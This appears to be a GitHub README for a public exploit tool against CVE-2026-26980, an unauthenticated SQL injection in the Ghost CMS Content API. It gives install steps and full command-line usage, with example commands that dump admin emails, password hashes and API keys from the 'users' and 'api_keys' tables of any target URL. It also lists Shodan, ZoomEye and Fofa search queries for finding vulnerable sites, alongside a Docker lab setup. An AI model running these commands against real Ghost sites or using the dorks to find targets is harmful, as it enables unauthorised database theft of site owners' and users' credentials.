vognik/CVE-2026-26980

# CVE-2026-26980 — 👻 Ghost CMS Content API 未授权 SQLi Ghost 的 Content API 中存在一个 SQL 注入漏洞，允许未经身份验证的攻击者读取数据库中的任意数据。 | | | |---|---| | **CVE** | CVE-2026-26980 | | **CVSS** | 9.4 (严重) | | **受影响版本** | Ghost >= 3.24.0, <= 6.19.0 | | **已修复版本** | 6.19.1 | | **披露时间** | 2026-02-20 | | **贡献者** | Nicholas Carlini | | **公开漏洞利用** | [vognik](https://github.com/vognik/CVE-2026-26980) | | **类型** | 通过 Content API 实现的未授权 SQLi → 任意数据库读取 | ## 安装 ``` git clone https://github.com/vognik/CVE-2026-26980.git cd CVE-2026-26980 pip install -r ./requirements.txt ``` ## 如何使用 ``` usage: main.py [-h] -u URL [--api-key KEY] [-p PATH] [-k] [-c TYPE] [-t N] [-d {sqlite,mysql}] [-T NAME] [-C COL1,COL2] [-o FILE] options: -h, --help show this help message and exit -u, --url URL The base URL of the target Ghost --api-key KEY Ghost Content API Key (skips auto-discovery) -p, --api-path PATH Content API path (e.g., /ghost/api/content/) -k, --insecure Allow insecure server connections when using SSL (ignore SSL certificate errors) -c, --check TYPE Check for vulnerability: 'passive' (via meta tag) or 'active' (via SQL error trigger) -t, --threads N Number of concurrent threads for faster extraction (default: 15) -d, --dbms {sqlite,mysql} The database engine Ghost is running on. Default: sqlite -T, --table NAME Specific database table to dump (e.g., users, api_keys, members, posts) -C, --columns COL1,COL2 Specific columns to extract (comma separated) -o, --output FILE Save results to CSV file Usage Examples: python3 main.py -u http://target.com (Quickly extract admin email and password hash from a default SQLite setup) python3 main.py -u http://target.com -c passive (Check the site for the vulnerability using the meta tag on the main page) python3 main.py -u http://target.com -d mysql -T users -C email,password -o ./result.csv (Dump the 'email' and 'password' columns from the 'users' table and save the result to 'result.csv') python3 main.py -u http://target.com -d mysql -T api_keys -t 25 (Dump all API keys from the 'api_keys' table using 25 threads) Note: Most production Ghost instances use MySQL. Local/Small blogs use SQLite. ``` ## 演示  ## 搜索语法 | | | |---|---| | **Shodan** | `http.html:"data-ghost="` | | **Zoomeye** | `http.body="data-ghost="` | | **Fofa** | `body="data-ghost="` | ## 实验环境搭建 ### sqlite ``` docker run -p 8080:2368 -e database__client=sqlite3 -e database__connection__filename=/var/lib/ghost/content/data/ghost.db -e url=http://localhost:2368 -e port=2368 ghost:6.16.1 ``` ### mysql ``` cd lab docker compose up ``` ## 原始研究 Nicholas Carlini - Black-hat LLMs | [un]prompted 2026 [](https://www.youtube.com/watch?v=1sd26pWhfmg) ## 📄 许可证 本项目基于 **GPL-3.0 许可证**授权。 有关详细信息，请参阅 `LICENSE` 文件。

标签：CISA项目, Content API, CVE, CVE-2026-26980, CVSS 9.4, Ghost CMS, Maven, POC, Python, SQLite, Web安全, 任意数据库读取, 数字签名, 无后门, 未授权访问, 漏洞验证, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 高危漏洞